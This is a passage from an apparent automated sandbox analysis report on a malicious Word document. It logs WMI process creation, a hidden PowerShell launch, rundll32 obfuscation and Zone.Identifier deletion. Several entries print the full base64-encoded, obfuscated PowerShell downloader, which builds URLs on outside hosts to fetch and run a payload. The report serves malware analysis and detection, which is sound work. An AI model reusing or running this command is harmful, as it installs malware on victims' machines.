BsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAK
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAK Jump to behavior
Suspicious powershell command line found
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAK
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAK Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000C620 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 7_2_1000C620
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10008085 push ecx; ret 7_2_10008098
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004ADA push ecx; ret 7_2_10004AED

Persistence and Installation Behavior:

barindex
Creates processes via WMI
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Hooking and other Techniques for Hiding and Protection:

barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Czsbnlmzhou\heljhxhmap.nib:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Tshsltpdkbydgac\umncisajimhcut.zje:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Nrnhwjwgkqopncg\hahzpwlqhuedal.zvs:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Wcuhm\nost.bdw:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Omzikkfxzmn\texvcnoeud.iob:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Afhsry\advki.tth:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Tjgkecgvqxx\dxuouhyssc.uio:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
